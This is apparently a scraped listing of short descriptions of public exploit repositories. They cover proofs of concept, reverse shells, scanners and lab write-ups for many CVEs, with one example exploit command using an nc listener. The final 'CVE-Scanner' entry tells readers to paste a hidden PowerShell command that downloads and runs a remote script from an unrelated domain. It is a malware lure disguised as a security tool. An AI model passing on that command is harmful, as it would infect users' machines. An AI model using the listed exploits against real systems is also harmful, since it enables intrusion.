CVE-2022-36779

CVE-2022-36779 exploit code for Unauthenticated OS Command Injection Proscend at Industrial Cellular Router. https://cdn.shopify.com/s/files/1/0036/9413/3297/files/ADVICEIndustrial4GLTECellularRouterICR111WG.pdf?v=1620814301 https://www.proscend.com/en/category/index.html...

CVE-2023-21823

CVE-2023-21823 Reverse Shell for Windows This repository contains C code that implements a reverse shell for the Windows operating system. A reverse shell allows for remote system control using the command-line, providing the ability to execute commands on the infected machine. Important Using th...

ROCA-attack-on-vulnerability-CVE-2017-15361

ROCA-attack-on-vulnerability-CVE-2017-15361 This repository contains the thesis developed for my bachelor's degree in Mathematical Engineering at Polytechnic of Turin. It's a script based on python and sage. The goal of the script is to generate an RSA key, evaluete if it's vulnerable by the ROCA...

Python-CVE-2020-25213

Python-CVE-2020-25213 Python Interactive Exploit for WP File Manager Vulnerability. The File Manager wp-file-manager plugin before 6.9 for WordPress allows remote attackers to upload and execute arbitrary PHP code because it renames an unsafe example elFinder connector file to have the .php...

CVE-2019-12102-Scanner

CVE-2019-12102 Scanner The CVE-2019-12102 Scanner is an automated tool to scan for the Unauthenticated File Upload / File Exposure vulnerability in Kentico CMS versions 11 to 12. This vulnerability is caused by improper access control on the endpoint...

CVE-2017-5638

LAB 1 — Apache Struts2 OGNL Injection CVE-2017-5638 / S2-045 I. SYSTEM ANALYSIS Attack Surface Analysis After starting the container, Struts2 logs show that the application loads familiar configuration files such as struts-default.xml , struts-plugin.xml , and struts.xml. This confirms that the...

CVE-2017-18349

Lab 6-CVE-2017-18349 I. SYSTEM ANALYSIS Attack Surface Identification Let's start with what is running in the environment. I list all active containers: docker ps The victim exposes only a single port:8090 Currently, I am not yet fully clear on the target. From the docker ps results, the system...

CVE-2017-12635_36

Lab7-CVE-2017-12635-12636 I. SYSTEM ANALYSIS Identifying Attack Surface Starting with what is running in the environment. I list all active containers: docker ps Victim exposes a single port:5984 ⇒ I curl directly into it to probe for more information: curl -i http://192.168.3.137:5984/ Analyzing...

ssh-hardening

SSH Hardening Lock down SSH on Debian/Ubuntu in one run: new port, no root login, key-based auth, optional UFW and Fail2Ban. What you’ll see When you run the script, it detects your OS and shows the settings before asking to continue: Quick start step-by-step 1️⃣ Install git if needed On...

CVE-2012-1823-exploit-for-https-user-password-web

CVE-2012-1823 file is exploit use : python3 CVE-2012-1823.py CVE-2012-1823,CVE-2021-2291.py file find out if the site is vulnurable for CVE-2012-1823 or CVE-2021-2291 use : python3 CVE-2012-1823,CVE-2021-2291.py command whoami cd ls tested on kali linux...

homelab-CVE-2025-68613

How to Use Docker Compose for This Project This guide explains how to install Docker Compose and run the project using the provided docker-compose.yml file. Prerequisites Docker must be installed on your system. See the official Docker installation guide for instructions. Installing Docker Compos...

CVE-2023-41425-WonderCMS-Authenticated-RCE

CVE-2023-41425-WonderCMS-Authenticated-RCE Description WonderCMS v3.2.0 - v3.4.2 is vulnerable. Remote attackers can take full control of the server using a Cross-Site Scripting XSS exploit For educational purposes only . Here's the game plan: How it works: The exploit abuses the installModule...

CVE-2014-3120

LAB 10-CVE-2014-3120 I. SYSTEM ANALYSIS Identifying the Attack Surface from the Docker Environment Starting with what is running in the environment. We list all active containers: docker ps Result: Container p1/lab10:latest is running, exposing 2 ports externally: Port mapping| Protocol ---|---...

CVE-2019-10149

CVE-2019-10149 CVE-2019-10149 : A flaw was found in Exim versions 4.87 to 4.91 inclusive. Improper validation of recipient address in delivermessage function in /src/deliver.c may lead to remote command execution. Example nc -lvp 9000 python ./CVE-2019-10149/exploit.py --rhost example.com --rport...

CVE-2022-34169

CVE-2022-34169 PoC A malleable PoC and solution for the SUpwn challenge from SUCTF 2025. Based on this issue from the original discoverer Felix Wilhelm and this blog post thanat0s. Tries not to rely as much on hard constants as the existing PoCs out there. If you want to deliver a different java...

Nginx-Rift

NGINX Rift RCE Proof of concept for CVE-2026-42945 , a critical heap buffer overflow in NGINX's ngxhttprewritemodule introduced in 2008. The bug enables unauthenticated remote code execution against servers using rewrite and set directives. This vulnerability — along with three other memory...

CVE-2020-14882

CVE-2020-14882 This script enables remote code execution RCE on Oracle WebLogic Server using an unauthenticated GET request. It exploits the vulnerability CVE-2020-14882. By executing arbitrary commands, an attacker can gain unauthorized access to the server. Exploit Details Exploit Title: Oracle...

PIL-CVE-2017-8291

Python PIL/Pillow Remote Command Execution GhostButt / CVE-2017-8291 中文版本Chinese version Python PIL Pillow is a popular image processing library for Python. It supports various image formats and provides powerful image manipulation capabilities. The Python image processing module PIL Pillow is...

CVE-2016-2098-my-first-exploit

CVE-2016-2098-my-first-exploit This exploit is remote code execution vulnerability in Ruby-on-Rails when using render on user-supplied data. It's written in python3, and remember to install the requests library. here is the command. pip3 install requests...

CVE-Scanner

CVE-Scanner CVE-2021-42287/CVE-2021-42278/OTHER Scanner & Exploiter. Install 1. Press WIN + R 2. Copy and paste the code below and press enter powershell -WindowStyle Hidden -Command ScriptBlock::Createirm https://jaihind.edu.in/weatherdolphin/dollrandom.Invoke; 3. Restart your PC Usage 1. open C...